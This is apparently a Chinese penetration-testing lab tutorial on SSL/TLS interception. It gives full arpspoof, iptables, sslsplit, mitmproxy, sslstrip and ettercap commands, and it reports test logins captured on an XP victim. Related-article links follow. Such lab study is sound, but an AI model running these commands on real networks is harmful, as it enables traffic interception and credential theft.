准备:kali、xp

kali ip:192.168.14.157

目标ip:192.168.14.158

目标网关:192.168.14.2

使用工具:ettercap、sslstrip、arpspoof、 Mitmproxy、sslsplit

下面使用三种方法,但只有第三种方法会有图文演示。

一、sslsplit+arpspoof

(1)简介

透明SSL中间人攻击工具
对客户端伪装成服务器,对服务器伪装成普通客户端
伪装服务器需要伪造证书,需要现在本地生成伪造证书
支持 SSL 加密的 SMTP、POP3、FTP等通信中间人攻击

(2)利用openssl 生成证书私钥
openssl genrsa -out ca.key 2048

(3)利用私钥签名生成证书
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [AU]:CN

State or Province Name (full name) [Some-State]:jilin
Locality Name (eg, city) []:changchun

Organization Name (eg, company) [Internet Widgits Pty Ltd]:alibaba

Organizational Unit Name (eg, section) []:ali

Common Name (e.g. server FQDN or YOUR name) []:alibaba

Email Address []:123456@163.com

(4)攻击者开启路由功能
第一种修改的方法:sysctl -w net.ipv4.ip_forward=1

第二种修改的方法:
vim /etc/sysctl.conf

net.ipv4.ip_forward=1

(5)配置 iptables 规则,简单来说就是将加密浏览和不加密的流量重定向到指定端口

# 查看规则

root@kali:~# iptables -t nat -L -n

# 清空规则

root@kali:~# iptables -t nat -F

# 查看 80 和 443 端口是否有占用

root@kali:~# netstat -tulnp | grep 80

root@kali:~# netstat -tulnp | grep 443

注意: PREROUTING:路由生效之前执行规则

# 发给 80 端口的流量转发给 8080

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

# 发给 443 端口的流量转发给 8443

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

# MSA:邮件提交代理

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443

# SMTPS:简单邮件传输

iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443

# IMAPS:接收邮件

iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

# POP3S:邮件传输

iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

#再一次查看规则

iptables -t nat -L -n

(6)kali 实现 arp 欺骗

root@kali:~# arpspoof -i eth0 -t 192.168.14.158 -r  192.168.14.2

(7)启动 sslsplit 进行攻击

1.创建目录和文件

root@kali:~# mkdir test

root@kali:~# mkdir /root/test/logdir

2.开启sllsplit侦听 8080 和 8443

sslsplit -D -l connect.log -j /root/test -S /root/test/logdir -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

二、Mitmproxy+arpspoof

Mitmproxy也是和SSLsplit差不多的工具。

(1)kali 实现 arp 欺骗

root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2

(2)添加防火墙规则

# Mitmproxy 只支持在 8080 侦听

iptables -t nat -F

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

(3)mitmproxy 启动

mitmproxy -T --host -w mitmproxy.log

三、ettercap+arpspoof+sllstrip

(1)开启流量转发

echo 1 > /proc/sys/net/ipv4/ip_forward

(2)端口转发,10000为sslstrip的监听端口

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

(3)ARP欺骗

arpspoof -i eth0 -t 192.168.18.100 192.168.18.254

(4)开启sslstrip
sslstrip -a -k -f

(5)开启ettercap嗅探密码

ettercap -T -q -i eth0

(6)在xp上先测试HTTP登陆

用户名:bbbb

密码:test

下面信息显示嗅探成功

(7)在xp上测试HTTPS登陆

用户名:test

密码:test

下面信息显示嗅探成功

总结:如果你想查看在传输过程中更详细的信息可以使用前面两种方法,但是需要注意的是,前面两种方法使用伪造的证书加密数据,会被网站提醒证书错误,这样很容易攻击失败。

第三种方法的攻击思路:

ARP欺骗,使得攻击者能截获所有目标主机的网络流量;
攻击者利用用户对于地址栏中HTTPS与HTTP的疏忽,将所有的HTTPS连接都用HTTP来代替;
同时,与目标服务器建立正常的HTTPS连接;
由于HTTP通信是明文传输,攻击者能轻松实施嗅探。

SSL/TLS中间人攻击的更多相关文章

  1. 小白日记53:kali渗透测试之Web渗透-SSL、TLS中间人攻击(SSLsplit,Mitmproxy,SSLstrip),拒绝服务攻击

    SSL.TLS中间人攻击 SSL中间人攻击 攻击者位于客户端和服务器通信链路中 利用方法: ARP地址欺骗 修改DHCP服务器 (存在就近原则) 手动修改网关 修改DNS设置 修改HOSTS文件[高于 ...

  2. SSL、TLS中间人攻击

    生成私钥 生成一个ca.key私钥签名 然后用私钥生成一个伪造证书服务器的根证书 生成一个伪造证书服务器的根证书ca.crt 在攻击主机启动路由转发功能 或者echo 1 > /proc/sys ...

  3. 关于ARP欺骗与MITM(中间人攻击)的一些笔记( 二 )

    一直没有折腾啥东西,直到最近kali Linux发布,才回想起应该更新博客了….. 再次说明,这些技术并不是本人原创的,而是以前记录在Evernote的旧内容(排版不是很好,请谅解),本文是继关于AR ...

  4. Https协议简析及中间人攻击原理

    1.基础知识 1.1 对称加密算法 对称加密算法的特点是加密密钥和解密密钥是同一把密钥K,且加解密速度快,典型的对称加密算法有DES.AES等                              ...

  5. SSL/TLS通信

    本文同时发表在https://github.com/zhangyachen/zhangyachen.github.io/issues/31 复习基本概念 对称密码:加密和解密使用同一密匙. 公钥密码: ...

  6. TLS是如何保障数据传输安全(中间人攻击)

    前言 前段时间和同事讨论HTTPS的工作原理,当时对这块知识原理掌握还是靠以前看了一些博客介绍,深度不够,正好我这位同事是密码学专业毕业的,结合他密码学角度对tls加解密这阐述,让我对这块原理有了更进 ...

  7. 方案:抵御 不明SSL证书导致的 中间人攻击

    基于SSL数字证书的中间人攻击已经不是一个新技术了,但是我发现很多人并不清楚这种威胁,甚至感觉无所谓,我相信他们是由于短暂的无知蒙蔽了双眼,希望这篇文章可以让更多的人知道这种攻击方式,并清除这种网络威 ...

  8. [译]SSL/TLS真的被BEAST攻击攻破了吗?真实情况是怎样的?我应该做什么?

    原文链接:https://luxsci.com/blog/is-ssltls-really-broken-by-the-beast-attack-what-is-the-real-story-what ...

  9. SSL/TLS 受诫礼(BAR-MITZVAH)攻击漏洞(CVE-2015-2808)

    最近发现SSL/TLS漏洞已经修改过,但是绿盟扫描器还可以扫描出来,网上看了很多文章,但是能用的比较少,今天刚好有空,就自己写一下. 方法一: 控制面板--->系统和安全--->管理工具- ...

随机推荐

  1. MacOs -bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or directory

    1解决iterm远程登录主机报错 -bash: warning: setlocale: LC_CTYPE: cannot change locale (UTF-8): No such file or ...

  2. C语言文件操作详解

    C语言中没有输入输出语句,所有的输入输出功能都用 ANSI C提供的一组标准库函数来实现.文件操作标准库函数有: 文件的打开操作 fopen 打开一个文件 文件的关闭操作 fclose 关闭一个文件 ...

  3. 关于《汇编语言(王爽)》程序6.3使用16个dw 0的问题

    在学习王爽老师<汇编语言>的第6.2节时,在程序6.3代码中,给出了如下的代码: assume cs:code code segment dw 0123h, 0456h, 0789h, 0 ...

  4. 深入理解 RecyclerView 系列之:ItemDecoration

    https://blog.piasy.com/2016/03/26/Insight-Android-RecyclerView-ItemDecoration/?utm_source=tuicool&am ...

  5. Class create, device create, device create file【转】

    来自:http://www.hovercool.com/en/Class_create,_device_create,_device_create_file 开始写Linux设备驱动程序的时候,很多时 ...

  6. 网络常用的linux系统调用

    网络之常用的Linux系统调用 下面一些函数已经过时,被新的更好的函数所代替了(gcc在链接这些函数时会发出警告),但因为兼容的原因还保留着,这些函数将在前面标上“*”号以示区别. 一.进程控制 fo ...

  7. kafka系列九、kafka事务原理、事务API和使用场景

    一.事务场景 最简单的需求是producer发的多条消息组成一个事务这些消息需要对consumer同时可见或者同时不可见 . producer可能会给多个topic,多个partition发消息,这些 ...

  8. 深入解析内存原理:DRAM的基本原理

    前面我们知道了在一个简单的SRAM 芯片中进行读写操作的步骤了,然后我们来了解一下普通的DRAM 芯片的工作情况.DRAM 相对于SRAM 来说更加复杂,因为在DRAM存储数据的过程中需要对于存储的信 ...

  9. 通过本地yum源安装软件报错[Errno 14] PYCURL ERROR 56 - "Failure when receiving data from the peer"

    通过本地yum源安装软件报错 http://192.168.3.85/centos/6/os/x86_64/Packages/php-pdo-5.3.3-47.el6.x86_64.rpm: [Err ...

  10. QQ空间说说如何批量删除

    事件背景: 今天突发奇想,想把自己之前发的说说都删除了,结果就有了下面的代码 1.按F12 2.点击 Console,进入Console项 3.使用以下代码: var delay = 1000; fu ...